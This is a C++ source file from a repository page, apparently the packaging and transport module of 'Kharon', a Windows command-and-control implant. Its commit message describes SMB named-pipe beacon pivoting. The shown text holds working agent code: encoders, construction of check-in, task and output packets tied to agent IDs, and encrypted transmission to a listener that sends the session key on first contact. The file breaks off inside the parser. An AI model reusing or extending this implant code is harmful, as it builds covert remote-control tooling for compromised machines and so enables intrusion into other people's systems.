Files
jaytiwari05 f14ae7fc75 refactor SMB beacon to static pipe name with persistent handles
- Remove random pipe name suffix (_XXXX) — pipe name is now static
  from listener config, identity is via UUID in protocol
- Refactor SmbSend to persistent handle model: pipe created once,
  stays open for session lifetime with TasksRead flag alternating
  between read (Call 1) and write (Call 2) phases
- Refactor Pivot::Exchange to use stored child handle directly
  instead of closing and reconnecting via CreateFileA each cycle
- Make pipename optional in link command — auto-resolved from
  SMB listener config (SmbPipeName set during Generate)
- PIPE_UNLIMITED_INSTANCES handles multiple beacons on same host
- Error recovery: disconnect + recreate pipe on failure
2026-04-05 16:22:03 +05:30

1199 lines
34 KiB
C++

#include <Kharon.h>
using namespace Root;
auto DECLFN Package::Base64(
_In_ const PVOID in,
_In_ SIZE_T inlen,
_Out_opt_ PVOID out,
_In_opt_ SIZE_T outlen,
_In_ Base64Action Action
) -> SIZE_T {
static const INT Base64Invs[80] = {
62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
43, 44, 45, 46, 47, 48, 49, 50, 51
};
const char B64Char[65] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
if (in == NULL || inlen == 0)
return 0;
switch ( Action ) {
case Base64Action::Get_Size: {
SIZE_T padding = (inlen % 3) ? (3 - (inlen % 3)) : 0;
if (inlen > (SIZE_MAX - padding) / 4 * 3)
return 0;
return ((inlen + padding) / 3) * 4;
}
case Base64Action::Encode: {
if (out == NULL || outlen == 0)
return 0;
SIZE_T padding = (inlen % 3) ? (3 - (inlen % 3)) : 0;
SIZE_T elen = ((inlen + padding) / 3) * 4;
if (outlen < elen + 1)
return 0;
const unsigned char* in_buf = (const unsigned char*)in;
char* out_buf = (char*)out;
out_buf[elen] = '\0';
SIZE_T i, j;
for (i = 0, j = 0; i < inlen; i += 3, j += 4) {
UINT32 v = in_buf[i];
v = (i + 1 < inlen) ? (v << 8) | in_buf[i + 1] : v << 8;
v = (i + 2 < inlen) ? (v << 8) | in_buf[i + 2] : v << 8;
out_buf[j] = B64Char[(v >> 18) & 0x3F];
out_buf[j + 1] = B64Char[(v >> 12) & 0x3F];
out_buf[j + 2] = (i + 1 < inlen) ? B64Char[(v >> 6) & 0x3F] : '=';
out_buf[j + 3] = (i + 2 < inlen) ? B64Char[v & 0x3F] : '=';
}
return elen;
}
case Base64Action::Decode: {
if (out == NULL)
return 0;
const char* in_buf = (const char*)in;
unsigned char* out_buf = (unsigned char*)out;
if (inlen % 4 != 0)
return 0;
SIZE_T required_size = (inlen / 4) * 3;
for (SIZE_T k = inlen; k-- > 0;) {
if (in_buf[k] == '=')
required_size--;
else
break;
}
if (outlen < required_size)
return 0;
for (SIZE_T k = 0; k < inlen; k++) {
char c = in_buf[k];
if (!((c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') ||
(c >= '0' && c <= '9') || c == '+' || c == '/' || c == '='))
return 0;
}
SIZE_T decoded = 0;
for (SIZE_T i = 0; i < inlen; i += 4) {
if ((in_buf[i] - 43) >= 80 ||
(in_buf[i + 1] - 43) >= 80 ||
(in_buf[i + 2] != '=' && (in_buf[i + 2] - 43) >= 80) ||
(in_buf[i + 3] != '=' && (in_buf[i + 3] - 43) >= 80)) {
return 0;
}
UINT32 v = Base64Invs[in_buf[i] - 43];
v = (v << 6) | Base64Invs[in_buf[i + 1] - 43];
v = (in_buf[i + 2] == '=') ? (v << 6) : (v << 6) | Base64Invs[in_buf[i + 2] - 43];
v = (in_buf[i + 3] == '=') ? (v << 6) : (v << 6) | Base64Invs[in_buf[i + 3] - 43];
out_buf[decoded++] = (v >> 16) & 0xFF;
if (in_buf[i + 2] != '=')
out_buf[decoded++] = (v >> 8) & 0xFF;
if (in_buf[i + 3] != '=')
out_buf[decoded++] = v & 0xFF;
}
return decoded;
}
default:
return 0;
}
}
// Base32 Encoding/Decoding (RFC 4648)
auto DECLFN Package::Base32(
_In_ const PVOID in,
_In_ SIZE_T inlen,
_Out_opt_ PVOID out,
_In_opt_ SIZE_T outlen,
_In_ Base32Action Action
) -> SIZE_T {
static const char B32Char[33] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
static const INT Base32Invs[128] = {
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, 26, 27, 28, 29, 30, 31, -1, -1, -1, -1, -1, -1, -1, -1,
-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1,
-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1
};
if (in == NULL || inlen == 0)
return 0;
switch (Action) {
case Base32Action::Get_Size: {
SIZE_T elen = ((inlen + 4) / 5) * 8;
return elen;
}
case Base32Action::Encode: {
if (out == NULL || outlen == 0)
return 0;
SIZE_T elen = ((inlen + 4) / 5) * 8;
if (outlen < elen)
return 0;
const unsigned char* in_buf = (const unsigned char*)in;
char* out_buf = (char*)out;
SIZE_T i, j;
for (i = 0, j = 0; i < inlen; i += 5, j += 8) {
UINT64 v = 0;
if (i + 0 < inlen) v |= ((UINT64)in_buf[i + 0] << 32);
if (i + 1 < inlen) v |= ((UINT64)in_buf[i + 1] << 24);
if (i + 2 < inlen) v |= ((UINT64)in_buf[i + 2] << 16);
if (i + 3 < inlen) v |= ((UINT64)in_buf[i + 3] << 8);
if (i + 4 < inlen) v |= ((UINT64)in_buf[i + 4] << 0);
out_buf[j + 0] = B32Char[(v >> 35) & 0x1F];
out_buf[j + 1] = B32Char[(v >> 30) & 0x1F];
out_buf[j + 2] = (i + 1 < inlen) ? B32Char[(v >> 25) & 0x1F] : '=';
out_buf[j + 3] = (i + 1 < inlen) ? B32Char[(v >> 20) & 0x1F] : '=';
out_buf[j + 4] = (i + 2 < inlen) ? B32Char[(v >> 15) & 0x1F] : '=';
out_buf[j + 5] = (i + 3 < inlen) ? B32Char[(v >> 10) & 0x1F] : '=';
out_buf[j + 6] = (i + 3 < inlen) ? B32Char[(v >> 5) & 0x1F] : '=';
out_buf[j + 7] = (i + 4 < inlen) ? B32Char[v & 0x1F] : '=';
}
return elen;
}
case Base32Action::Decode: {
if (out == NULL || outlen == 0)
return 0;
const char* in_buf = (const char*)in;
unsigned char* out_buf = (unsigned char*)out;
if (inlen % 8 != 0)
return 0;
SIZE_T required_size = (inlen / 8) * 5;
for (SIZE_T k = inlen; k-- > 0;) {
if (in_buf[k] == '=')
required_size--;
else
break;
}
if (outlen < required_size)
return 0;
SIZE_T decoded = 0;
for (SIZE_T i = 0; i < inlen; i += 8) {
UINT64 v = 0;
for (INT k = 0; k < 8; k++) {
if (in_buf[i + k] == '=')
v = (v << 5);
else if (in_buf[i + k] < 128 && Base32Invs[(unsigned char)in_buf[i + k]] >= 0)
v = (v << 5) | Base32Invs[(unsigned char)in_buf[i + k]];
else
return 0;
}
out_buf[decoded++] = (v >> 32) & 0xFF;
if (in_buf[i + 2] != '=')
out_buf[decoded++] = (v >> 24) & 0xFF;
if (in_buf[i + 4] != '=')
out_buf[decoded++] = (v >> 16) & 0xFF;
if (in_buf[i + 5] != '=')
out_buf[decoded++] = (v >> 8) & 0xFF;
if (in_buf[i + 7] != '=')
out_buf[decoded++] = v & 0xFF;
}
return decoded;
}
default:
return 0;
}
}
// Base64URL Encoding/Decoding (RFC 4648)
auto DECLFN Package::Base64URL(
_In_ const PVOID in,
_In_ SIZE_T inlen,
_Out_opt_ PVOID out,
_In_opt_ SIZE_T outlen,
_In_ Base64URLAction Action
) -> SIZE_T {
static const char B64URLChar[65] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
if (in == NULL || inlen == 0) {
return 0;
}
switch (Action) {
case Base64URLAction::Get_Size: {
SIZE_T size_with_padding = ((inlen + 2) / 3) * 4;
SIZE_T padding_count = (3 - (inlen % 3)) % 3;
SIZE_T actual_size = size_with_padding - padding_count;
return actual_size;
}
case Base64URLAction::Encode: {
if (out == NULL || outlen == 0) {
return 0;
}
SIZE_T size_with_padding = ((inlen + 2) / 3) * 4;
SIZE_T padding_count = (3 - (inlen % 3)) % 3;
SIZE_T actual_size = size_with_padding - padding_count;
if (outlen < actual_size) {
return 0;
}
const unsigned char* in_buf = (const unsigned char*)in;
char* out_buf = (char*)out;
SIZE_T out_idx = 0;
SIZE_T i = 0;
for (i = 0; i + 3 <= inlen; i += 3) {
UINT32 v = (in_buf[i] << 16) | (in_buf[i + 1] << 8) | in_buf[i + 2];
out_buf[out_idx++] = B64URLChar[(v >> 18) & 0x3F];
out_buf[out_idx++] = B64URLChar[(v >> 12) & 0x3F];
out_buf[out_idx++] = B64URLChar[(v >> 6) & 0x3F];
out_buf[out_idx++] = B64URLChar[v & 0x3F];
}
if (i < inlen) {
SIZE_T remaining = inlen - i;
UINT32 v = 0;
if (remaining == 1) {
v = in_buf[i] << 16;
out_buf[out_idx++] = B64URLChar[(v >> 18) & 0x3F];
out_buf[out_idx++] = B64URLChar[(v >> 12) & 0x3F];
} else if (remaining == 2) {
v = (in_buf[i] << 16) | (in_buf[i + 1] << 8);
out_buf[out_idx++] = B64URLChar[(v >> 18) & 0x3F];
out_buf[out_idx++] = B64URLChar[(v >> 12) & 0x3F];
out_buf[out_idx++] = B64URLChar[(v >> 6) & 0x3F];
}
}
return out_idx;
}
case Base64URLAction::Decode: {
if (out == NULL || outlen == 0) {
return 0;
}
const char* in_buf = (const char*)in;
unsigned char* out_buf = (unsigned char*)out;
SIZE_T remainder = inlen % 4;
if (remainder == 1) {
return 0;
}
SIZE_T groups = inlen / 4;
SIZE_T required_size = groups * 3;
if (remainder == 2) required_size += 1;
else if (remainder == 3) required_size += 2;
if (outlen < required_size) {
return 0;
}
auto CharToVal = [&](unsigned char c, bool& valid) -> UINT32 {
valid = true;
if (c >= 'A' && c <= 'Z') return c - 'A'; // A-Z = 0-25
if (c >= 'a' && c <= 'z') return c - 'a' + 26; // a-z = 26-51
if (c >= '0' && c <= '9') return c - '0' + 52; // 0-9 = 52-61
if (c == '-') return 62; // - = 62 (Base64URL)
if (c == '_') return 63; // _ = 63 (Base64URL)
valid = false;
KhDbg("Base64URL::Decode - Invalid character: %c (0x%02X)", c, c);
return 0;
};
SIZE_T decoded = 0;
SIZE_T i = 0;
bool valid = true;
for (i = 0; i + 4 <= inlen; i += 4) {
UINT32 v = 0;
UINT32 v0, v1, v2, v3;
v0 = CharToVal(in_buf[i], valid);
if (!valid) return 0;
v1 = CharToVal(in_buf[i + 1], valid);
if (!valid) return 0;
v2 = CharToVal(in_buf[i + 2], valid);
if (!valid) return 0;
v3 = CharToVal(in_buf[i + 3], valid);
if (!valid) return 0;
v = (v0 << 18) | (v1 << 12) | (v2 << 6) | v3;
out_buf[decoded++] = (v >> 16) & 0xFF;
out_buf[decoded++] = (v >> 8) & 0xFF;
out_buf[decoded++] = v & 0xFF;
}
KhDbg("Base64URL::Decode - Processed full groups - Output so far: %zu", decoded);
if (i < inlen) {
SIZE_T chars_left = inlen - i;
UINT32 v = 0;
UINT32 v0, v1, v2;
if (chars_left >= 2) {
v0 = CharToVal(in_buf[i], valid);
if (!valid) return 0;
v1 = CharToVal(in_buf[i + 1], valid);
if (!valid) return 0;
v = (v0 << 18) | (v1 << 12);
if (chars_left >= 3) {
v2 = CharToVal(in_buf[i + 2], valid);
if (!valid) return 0;
v |= (v2 << 6);
}
out_buf[decoded++] = (v >> 16) & 0xFF;
if (chars_left >= 3) {
out_buf[decoded++] = (v >> 8) & 0xFF;
}
}
}
return decoded;
}
default: {
return 0;
}
}
}
// Hex Encoding/Decoding
auto DECLFN Package::Hex(
_In_ const PVOID in,
_In_ SIZE_T inlen,
_Out_opt_ PVOID out,
_In_opt_ SIZE_T outlen,
_In_ HexAction Action
) -> SIZE_T {
static const char HexChar[17] = "0123456789ABCDEF";
if (in == NULL || inlen == 0)
return 0;
switch (Action) {
case HexAction::Get_Size: {
return inlen * 2;
}
case HexAction::Encode: {
if (out == NULL || outlen == 0)
return 0;
SIZE_T hlen = inlen * 2;
if (outlen < hlen)
return 0;
const unsigned char* in_buf = (const unsigned char*)in;
char* out_buf = (char*)out;
for (SIZE_T i = 0; i < inlen; i++) {
out_buf[i * 2] = HexChar[(in_buf[i] >> 4) & 0x0F];
out_buf[i * 2 + 1] = HexChar[in_buf[i] & 0x0F];
}
return hlen;
}
case HexAction::Decode: {
if (out == NULL || outlen == 0)
return 0;
if (inlen % 2 != 0)
return 0;
SIZE_T required_size = inlen / 2;
if (outlen < required_size)
return 0;
const char* in_buf = (const char*)in;
unsigned char* out_buf = (unsigned char*)out;
for (SIZE_T i = 0; i < inlen; i += 2) {
unsigned char high = 0, low = 0;
// Parse high nibble
if (in_buf[i] >= '0' && in_buf[i] <= '9')
high = in_buf[i] - '0';
else if (in_buf[i] >= 'A' && in_buf[i] <= 'F')
high = in_buf[i] - 'A' + 10;
else if (in_buf[i] >= 'a' && in_buf[i] <= 'f')
high = in_buf[i] - 'a' + 10;
else
return 0;
// Parse low nibble
if (in_buf[i + 1] >= '0' && in_buf[i + 1] <= '9')
low = in_buf[i + 1] - '0';
else if (in_buf[i + 1] >= 'A' && in_buf[i + 1] <= 'F')
low = in_buf[i + 1] - 'A' + 10;
else if (in_buf[i + 1] >= 'a' && in_buf[i + 1] <= 'f')
low = in_buf[i + 1] - 'a' + 10;
else
return 0;
out_buf[i / 2] = (high << 4) | low;
}
return required_size;
}
default:
return 0;
}
}
auto DECLFN Int64ToBuffer(
_In_ PUCHAR Buffer,
_In_ UINT64 Value
) -> VOID {
Buffer[ 7 ] = Value & 0xFF;
Value >>= 8;
Buffer[ 6 ] = Value & 0xFF;
Value >>= 8;
Buffer[ 5 ] = Value & 0xFF;
Value >>= 8;
Buffer[ 4 ] = Value & 0xFF;
Value >>= 8;
Buffer[ 3 ] = Value & 0xFF;
Value >>= 8;
Buffer[ 2 ] = Value & 0xFF;
Value >>= 8;
Buffer[ 1 ] = Value & 0xFF;
Value >>= 8;
Buffer[ 0 ] = Value & 0xFF;
}
auto DECLFN Int32ToBuffer(
_In_ PUCHAR Buffer,
_In_ UINT32 Size
) -> VOID {
( Buffer ) [ 0 ] = ( Size >> 24 ) & 0xFF;
( Buffer ) [ 1 ] = ( Size >> 16 ) & 0xFF;
( Buffer ) [ 2 ] = ( Size >> 8 ) & 0xFF;
( Buffer ) [ 3 ] = ( Size ) & 0xFF;
}
auto DECLFN Int16ToBuffer(
_In_ PUCHAR Buffer,
_In_ UINT16 Value
) -> VOID {
Buffer[1] = Value & 0xFF;
Value >>= 8;
Buffer[0] = Value & 0xFF;
}
auto DECLFN Int8ToBuffer(
_In_ PUCHAR Buffer,
_In_ UINT8 Value
) -> VOID {
Buffer[0] = Value & 0xFF;
}
auto DECLFN Package::Int16(
_In_ PPACKAGE Package,
_In_ INT16 dataInt
) -> VOID {
Package->Buffer = PTR( KhReAlloc( Package->Buffer, Package->Length + sizeof( INT16 ) ) );
Int16ToBuffer( UC_PTR( Package->Buffer ) + Package->Length, dataInt );
Package->Size = Package->Length;
Package->Length += sizeof( UINT16 );
}
auto DECLFN Package::Int32(
_In_ PPACKAGE Package,
_In_ INT32 dataInt
) -> VOID {
Package->Buffer = PTR( KhReAlloc( Package->Buffer, Package->Length + sizeof( INT32 ) ) );
Int32ToBuffer( UC_PTR( Package->Buffer ) + Package->Length, dataInt );
Package->Size = Package->Length;
Package->Length += sizeof( INT32 );
}
auto DECLFN Package::Int64(
_In_ PPACKAGE Package,
_In_ INT64 dataInt
) -> VOID {
Package->Buffer = PTR( KhReAlloc(
Package->Buffer,
Package->Length + sizeof( INT64 )
));
Int64ToBuffer( UC_PTR( Package->Buffer ) + Package->Length, dataInt );
Package->Size = Package->Length;
Package->Length += sizeof( INT64 );
}
auto DECLFN Package::Create(
_In_ ULONG CommandID,
_In_ PCHAR UUID
) -> PPACKAGE {
PACKAGE* Package = NULL;
Package = (PACKAGE*)KhAlloc( sizeof( PACKAGE ) );
Package->Buffer = KhAlloc( sizeof( BYTE ) );
Package->Length = 0;
this->Bytes( Package, UC_PTR( UUID ), 36 );
this->Int16( Package, CommandID );
Package->TaskUUID = UUID;
return Package;
}
auto DECLFN Package::Checkin( VOID ) -> PACKAGE* {
PACKAGE* Package = NULL;
Package = (PPACKAGE)KhAlloc( sizeof( PACKAGE ) );
Package->Buffer = KhAlloc( sizeof( BYTE ) );
Package->Length = 0;
Package->Encrypt = FALSE;
this->Pad( Package, UC_PTR( Self->Session.AgentID ), 36 );
this->Byte( Package, (BYTE)Action::Task::Checkin );
return Package;
}
auto DECLFN Package::PostJobs( VOID ) -> PACKAGE* {
PACKAGE* Package = NULL;
Package = (PACKAGE*)KhAlloc( sizeof( PACKAGE ) );
Package->Buffer = PTR( KhAlloc( sizeof( BYTE ) ) );
Package->Length = 0;
Package->Encrypt = FALSE;
this->Pad( Package, UC_PTR( Self->Session.AgentID ), 36 );
this->Byte( Package, (BYTE)Action::Task::PostTask );
return Package;
}
auto DECLFN Package::NewTask(
VOID
) -> PPACKAGE {
PPACKAGE Package = NULL;
Package = (PPACKAGE)KhAlloc( sizeof( PACKAGE ) );
Package->Buffer = PTR( KhAlloc( sizeof( BYTE ) ) );
Package->Length = 0;
Package->Encrypt = FALSE;
this->Pad( Package, UC_PTR( Self->Session.AgentID ), 36 );
this->Byte( Package, (BYTE)Action::Task::GetTask );
return Package;
}
auto DECLFN Package::Destroy(
_In_ PPACKAGE Package
) -> VOID {
if ( ! Package ) return;
if ( Package->Buffer ) {
KhFree( Package->Buffer );
Package->Buffer = nullptr;
Package->Length = 0;
}
if ( Package ) {
KhFree( Package );
Package = nullptr;
}
return;
}
auto DECLFN Package::Transmit(
PPACKAGE Package,
PVOID *Response,
UINT64 *Size
) -> BOOL {
BOOL Success = FALSE;
PVOID RetBuffer = nullptr;
UINT64 Retsize = 0;
ULONG EncryptOffset = 36; // agent_id size
ULONG PlainLen = Package->Length - EncryptOffset;
ULONG PaddedLen = Self->Crp->CalcPadding( PlainLen );
ULONG TotalPacketLen = EncryptOffset + PaddedLen;
MM_INFO SendData = { 0 };
MM_INFO RecvData = { 0 };
Package->Buffer = KhReAlloc( Package->Buffer, TotalPacketLen );
Package->Length = TotalPacketLen;
// prepare for pack encrypted buffer
PBYTE EncBuffer = (PBYTE)Self->Mm->Alloc( nullptr, TotalPacketLen, MEM_COMMIT, PAGE_READWRITE );
if ( ! EncBuffer ) return FALSE;
Mem::Copy( EncBuffer, Package->Buffer, EncryptOffset );
Mem::Copy( EncBuffer + EncryptOffset, B_PTR( Package->Buffer ) + EncryptOffset, PlainLen );
// encrypt it
Self->Crp->AddPadding( EncBuffer + EncryptOffset, PlainLen, PaddedLen );
Self->Crp->Encrypt( EncBuffer + EncryptOffset, PaddedLen );
// if not connected, send the encryption key into 16 final bytes
if ( ! Self->Session.Connected ) {
if ( TotalPacketLen < sizeof( Self->Crp->LokKey ) ) {
Self->Mm->Free( EncBuffer, 0, MEM_RELEASE );
return FALSE;
}
Mem::Copy(
EncBuffer + (TotalPacketLen - sizeof(Self->Crp->LokKey)),
Self->Crp->LokKey, sizeof( Self->Crp->LokKey )
);
}
SendData.Ptr = (PBYTE)EncBuffer;
SendData.Size = TotalPacketLen;
if ( Self->Tsp->Send( &SendData, &RecvData ) ) {
Success = TRUE;
}
Self->Mm->Free( EncBuffer, TotalPacketLen, MEM_RELEASE );
if ( Success && RecvData.Ptr && RecvData.Size ) {
// HTTP: response is encrypted by the HTTP listener with LokyCrypt
// SMB: response is plaintext (server Encrypt/Decrypt are no-ops)
if ( ! Self->Tsp->Pipe.Name && RecvData.Size > EncryptOffset ) {
UCHAR* DecryptBuff = RecvData.Ptr + EncryptOffset;
ULONG DecryptLength = (ULONG)RecvData.Size - EncryptOffset;
if ( DecryptLength > 0 ) {
Self->Crp->Decrypt( DecryptBuff, DecryptLength );
}
}
if ( Response && Size ) {
*Response = RecvData.Ptr;
*Size = RecvData.Size;
} else {
KhFree( RecvData.Ptr );
}
Success = TRUE;
} else if ( RecvData.Ptr ) {
KhFree( RecvData.Ptr );
Success = FALSE;
}
return Success;
}
auto DECLFN Package::Byte(
_In_ PPACKAGE Package,
_In_ BYTE dataInt
) -> VOID {
Package->Buffer = KhReAlloc( Package->Buffer, Package->Length + sizeof( BYTE ) );
if ( !Package->Buffer ) { return; }
( B_PTR( Package->Buffer ) + Package->Length )[0] = dataInt;
Package->Length += 1;
return;
}
auto DECLFN Package::Pad(
_In_ PPACKAGE Package,
_In_ PUCHAR Data,
_In_ SIZE_T Size
) -> VOID {
Package->Buffer = A_PTR( KhReAlloc(
Package->Buffer,
Package->Length + Size
));
Mem::Copy( PTR( U_PTR( Package->Buffer ) + ( Package->Length ) ), PTR( Data ), Size );
Package->Size = Package->Length;
Package->Length += Size;
}
auto DECLFN Package::Bytes(
_In_ PPACKAGE Package,
_In_ PUCHAR Data,
_In_ SIZE_T Size
) -> VOID {
this->Int32( Package, Size );
Package->Buffer = PTR( KhReAlloc( Package->Buffer, Package->Length + Size ) );
Int32ToBuffer( UC_PTR( U_PTR( Package->Buffer ) + ( Package->Length - sizeof( UINT32 ) ) ), Size );
Mem::Copy( PTR( U_PTR( Package->Buffer ) + Package->Length ), PTR( Data ), Size );
Package->Size = Package->Length;
Package->Length += Size;
}
auto DECLFN Package::Str(
_In_ PPACKAGE package,
_In_ PCHAR data
) -> VOID {
return this->Bytes( package, (BYTE*) data, Str::LengthA( data ) );
}
auto DECLFN Package::Wstr(
_In_ PPACKAGE package,
_In_ PWCHAR data
) -> VOID {
return this->Bytes( package, (BYTE*) data, Str::LengthW( data ) * 2 );
}
auto DECLFN Package::SendOut(
_In_ ULONG Type,
_In_ ULONG CmdID,
_In_ BYTE* Buffer,
_In_ INT32 Length
) -> BOOL {
// SMB: append to PostJobs as MSG_OUT entry instead of calling Transmit
// (batching avoids interleaved writes on the persistent pipe)
if ( Self->Tsp->Pipe.Name && Self->Jbs->PostJobs ) {
this->Int32( Self->Jbs->PostJobs, (INT32)Action::Task::QuickOut );
this->Pad( Self->Jbs->PostJobs, (UCHAR*)Self->Jbs->CurrentUUID, 36 );
this->Int32( Self->Jbs->PostJobs, CmdID );
this->Int32( Self->Jbs->PostJobs, Type );
this->Bytes( Self->Jbs->PostJobs, Buffer, Length );
Self->Jbs->QuickCount++;
return TRUE;
}
PACKAGE* Package = (PACKAGE*)KhAlloc( sizeof( PACKAGE ) );
Package->Buffer = PTR( KhAlloc( sizeof( BYTE ) ) );
Package->Length = 0;
this->Pad( Package, UC_PTR( Self->Session.AgentID ), 36 );
this->Byte( Package, (BYTE)Action::Task::QuickOut );
this->Pad( Package, (UCHAR*)Self->Jbs->CurrentUUID, 36 );
this->Int32( Package, CmdID );
this->Int32( Package, Type );
this->Bytes( Package, Buffer, Length );
BOOL result = this->Transmit( Package, nullptr, 0 );
if ( Package ) this->Destroy( Package );
return result;
}
auto DECLFN Package::FmtMsg(
_In_ ULONG Type,
_In_ CHAR* Message,
...
) -> BOOL
{
BOOL result = FALSE;
ULONG MsgSize = 0;
CHAR* MsgBuff = nullptr;
PACKAGE* Package = nullptr;
va_list VaList;
va_start(VaList, Message);
va_list VaListCopy;
va_copy(VaListCopy, VaList);
MsgSize = Self->Msvcrt.vsnprintf(nullptr, 0, Message, VaList);
va_end(VaList);
if (MsgSize <= 0) {
KhDbg("failed to get formatted message size");
goto _KH_END;
}
MsgBuff = (CHAR*)KhAlloc(MsgSize + 1);
if (!MsgBuff) {
KhDbg("failed to allocate message buffer");
goto _KH_END;
}
if (Self->Msvcrt.vsnprintf(MsgBuff, MsgSize + 1, Message, VaListCopy) < 0) {
KhDbg("failed formatting string");
goto _KH_END;
}
va_end(VaListCopy);
Package = (PACKAGE*)KhAlloc(sizeof(PACKAGE));
if (!Package) {
KhDbg("failed to allocate package");
goto _KH_END;
}
Package->Buffer = PTR(KhAlloc(sizeof(BYTE)));
Package->Length = 0;
this->Pad(Package, (PUCHAR)Self->Session.AgentID, 36);
this->Byte(Package, (BYTE)Action::Task::QuickMsg);
this->Pad(Package, (PUCHAR)Self->Jbs->CurrentUUID, 36);
this->Int32(Package, Type);
this->Str(Package, MsgBuff);
// SMB: append to PostJobs as MSG_QUICK entry instead of calling Transmit
// (batching avoids interleaved writes on the persistent pipe)
if ( Self->Tsp->Pipe.Name ) {
if ( Self->Jbs->PostJobs ) {
this->Int32( Self->Jbs->PostJobs, (INT32)Action::Task::QuickMsg );
this->Pad( Self->Jbs->PostJobs, (UCHAR*)Self->Jbs->CurrentUUID, 36 );
this->Int32( Self->Jbs->PostJobs, Type );
this->Str( Self->Jbs->PostJobs, MsgBuff );
Self->Jbs->QuickCount++;
}
result = TRUE;
} else {
result = this->Transmit(Package, nullptr, 0); // HTTP: send QuickMsg separately
}
_KH_END:
if (Package)
this->Destroy(Package);
if (MsgBuff)
KhFree(MsgBuff);
return result;
}
auto DECLFN Package::SendMsgA(
_In_ ULONG Type,
_In_ CHAR* Message
) -> BOOL {
// SMB: append to PostJobs as MSG_QUICK entry instead of calling Transmit
if ( Self->Tsp->Pipe.Name && Self->Jbs->PostJobs ) {
this->Int32( Self->Jbs->PostJobs, (INT32)Action::Task::QuickMsg );
this->Pad( Self->Jbs->PostJobs, (UCHAR*)Self->Jbs->CurrentUUID, 36 );
this->Int32( Self->Jbs->PostJobs, Type );
this->Str( Self->Jbs->PostJobs, Message );
Self->Jbs->QuickCount++;
return TRUE;
}
PACKAGE* Package = (PACKAGE*)KhAlloc( sizeof( PACKAGE ) );
Package->Buffer = PTR( KhAlloc( sizeof( BYTE ) ) );
Package->Length = 0;
this->Pad( Package, (PUCHAR)Self->Session.AgentID, 36 );
this->Byte( Package, (BYTE)Action::Task::QuickMsg );
this->Pad( Package, (UCHAR*)Self->Jbs->CurrentUUID, 36 );
this->Int32( Package, Type );
this->Str( Package, Message );
BOOL result = this->Transmit( Package, nullptr, 0 );
if ( Package ) this->Destroy( Package );
return result;
}
auto DECLFN Package::SendMsgW(
_In_ ULONG Type,
_In_ WCHAR* Message
) -> BOOL {
// SMB: append to PostJobs as MSG_QUICK entry instead of calling Transmit
if ( Self->Tsp->Pipe.Name && Self->Jbs->PostJobs ) {
this->Int32( Self->Jbs->PostJobs, (INT32)Action::Task::QuickMsg );
this->Pad( Self->Jbs->PostJobs, (UCHAR*)Self->Jbs->CurrentUUID, 36 );
this->Int32( Self->Jbs->PostJobs, Type );
this->Wstr( Self->Jbs->PostJobs, Message );
Self->Jbs->QuickCount++;
return TRUE;
}
PACKAGE* Package = (PACKAGE*)KhAlloc( sizeof( PACKAGE ) );
Package->Buffer = PTR( KhAlloc( sizeof( WCHAR ) ) );
Package->Length = 0;
this->Pad( Package, (PUCHAR)Self->Session.AgentID, 36 );
this->Byte( Package, (BYTE)Action::Task::QuickMsg );
this->Pad( Package, (UCHAR*)Self->Jbs->CurrentUUID, 36 );
this->Int32( Package, Type );
this->Wstr( Package, Message );
BOOL result = this->Transmit( Package, nullptr, 0 );
if ( Package ) this->Destroy( Package );
return result;
}
auto DECLFN Parser::New(
_In_ PPARSER parser,
_In_ PVOID Buffer,
_In_ UINT64 size
) -> VOID {
if ( parser == NULL )
return;
parser->Original = A_PTR( KhAlloc( size ) );
Mem::Copy( PTR( parser->Original ), PTR( Buffer ), size );
parser->Buffer = parser->Original;
parser->Length = size;
parser->Size = size;
}
auto DECLFN Parser::NewTask(
_In_ PPARSER parser,
_In_ PVOID Buffer,
_In_ UINT64 size
) -> VOID {
if ( parser == NULL )
return;
parser->Original = A_PTR( KhAlloc( size ) );
Mem::Copy( PTR( parser->Original ), PTR( Buffer ), size );
parser->Buffer = parser->Original;
parser->Length = size;
parser->Size = size;
Self->Psr->Pad( parser, 36 );
}
auto DECLFN Parser::Pad(
_In_ PPARSER parser,
_Out_ ULONG size
) -> BYTE* {
if (!parser)
return NULL;
if (parser->Length < size)
return NULL;
BYTE* padData = B_PTR(parser->Buffer);
parser->Buffer += size;
parser->Length -= size;
return padData;
}
auto DECLFN Parser::Int32(
_In_ PPARSER parser
) -> INT32 {
INT32 intBytes = 0;
if ( parser->Length < 4 )
return 0;
Mem::Copy( PTR( &intBytes ), PTR( parser->Buffer ), 4 );
parser->Buffer += 4;
parser->Length -= 4;
if ( !this->Endian )
return ( INT ) intBytes;
else
return ( INT ) __builtin_bswap32( intBytes );
}
auto DECLFN Parser::Bytes(
_In_ PPARSER parser,
_In_ ULONG* size
) -> BYTE* {
UINT32 Length = 0;
BYTE* outdata = NULL;
if ( parser->Length < 4 || !parser->Buffer ){
return NULL;
}
Mem::Copy( PTR( &Length ), PTR( parser->Buffer ), 4 );
parser->Buffer += 4;
if ( this->Endian )
Length = __builtin_bswap32( Length );
// Bounds check: Length must fit within remaining parser data
if ( Length > parser->Length - 4 ) {
if ( size != NULL ) *size = 0;
return NULL;
}
outdata = B_PTR( parser->Buffer );
if ( outdata == NULL )
return NULL;
parser->Length -= 4;
